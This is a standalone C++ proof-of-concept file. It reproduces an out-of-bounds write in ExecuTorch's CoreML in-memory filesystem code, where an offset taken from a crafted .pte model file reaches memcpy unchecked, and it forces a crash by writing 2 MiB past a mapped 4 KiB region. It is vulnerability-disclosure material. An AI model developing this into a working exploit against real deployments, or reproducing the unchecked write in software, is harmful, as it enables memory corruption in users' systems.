File size: 2,011 Bytes
9c5b2f3 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | // Standalone PoC — faithful reproduction of the ExecuTorch CoreML inmemoryfs
// out-of-bounds WRITE. Logic from pytorch/executorch @ main:
// backends/apple/coreml/runtime/inmemoryfs/memory_buffer.cpp:247-251 (MemoryBuffer::write)
// bool MemoryBuffer::write(void* dst, size_t offset, ...) {
// auto ptr = static_cast<uint8_t*>(dst);
// std::memcpy(ptr + offset, data(), size()); // <-- offset unchecked vs dst capacity
// }
// `offset` is derived from the (attacker-controlled) in-memory-FS layout in a malicious .pte;
// nothing checks offset + size() <= capacity(dst) before the memcpy -> OOB write.
#include <cstddef>
#include <cstdint>
#include <cstring>
#include <cstdio>
#include <sys/mman.h>
// MemoryBuffer::write(dst, offset) — verbatim body
static void mb_write(void* dst, size_t offset, const uint8_t* src, size_t src_size) {
auto ptr = static_cast<uint8_t*>(dst);
std::memcpy(ptr + offset, src, src_size); // memory_buffer.cpp:250
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
// Legitimate destination region the code believes it is writing into:
const size_t dst_cap = 4096;
uint8_t* dst = static_cast<uint8_t*>(
mmap(nullptr, dst_cap, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0));
// Attacker-controlled source + offset from a crafted in-memory-FS node:
uint8_t src[16];
memset(src, 0x42, sizeof(src));
size_t attacker_offset = 0x200000; // 2 MiB past a 4 KiB region -> unmapped
printf("[*] dst region capacity = %zu bytes\n", dst_cap);
printf("[*] attacker offset = 0x%zx (%zu bytes past the region)\n",
attacker_offset, attacker_offset);
printf("[*] NO check that offset+size <= capacity; calling memcpy(dst+offset, src, %zu)...\n",
sizeof(src));
fflush(stdout);
mb_write(dst, attacker_offset, src, sizeof(src)); // OOB WRITE -> SIGSEGV
printf("[x] returned without crashing (unexpected)\n");
munmap(dst, dst_cap);
return 0;
}
|